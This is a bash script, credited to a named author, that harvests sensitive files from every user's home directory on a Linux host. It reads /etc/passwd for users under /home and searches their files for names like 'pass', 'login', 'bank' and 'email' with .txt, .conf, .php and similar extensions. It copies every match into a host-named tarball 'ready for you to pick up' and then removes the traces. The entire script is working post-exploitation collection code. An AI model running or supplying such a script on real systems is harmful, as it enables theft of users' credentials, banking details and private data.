#/bin/bash ########################################################################################### # Anastasios Monachos - anastasiosm@gmail.com # # Bash script that looks at /etc/passwd for users who have a home directory under /home, # and goes through all of their files to find those which meet specific criteria (specific # filenames and extensions). Then it makes an archive copy of the findings, ready for you # to pick up. # # Although not perfect it does the job. ########################################################################################### UHOME="/home" USERS_WITH_HOME=$(cat /etc/passwd |grep $UHOME |cut -d: -f1) LOOK_FOR_FILES=("order" "email" "pass" "username" "detail" "misc" "login" "bank") LOOK_FOR_FILES_LENGTH_IS=${#LOOK_FOR_FILES[@]} LOOK_FOR_EXTENSIONS=(".txt" ".xml" ".php" ".conf" ".cf") LOOK_FOR_EXTENSIONS_LENGTH_IS=${#LOOK_FOR_EXTENSIONS[@]} for user in $USERS_WITH_HOME do for ((i=0;i<$LOOK_FOR_EXTENSIONS_LENGTH_IS;i++)); do for ((j=0;j<$LOOK_FOR_FILES_LENGTH_IS;j++)); do find $UHOME/${user} -iname *${LOOK_FOR_FILES[${j}]}*${LOOK_FOR_EXTENSIONS[${i}]} -type f -print -exec cp -rf --parents {} . \; done done done #now create our archive tar -cvzf $RANDOM.$(hostname).tar $PWD$UHOME #and tidy up rm -fr $PWD$UHOME exit 0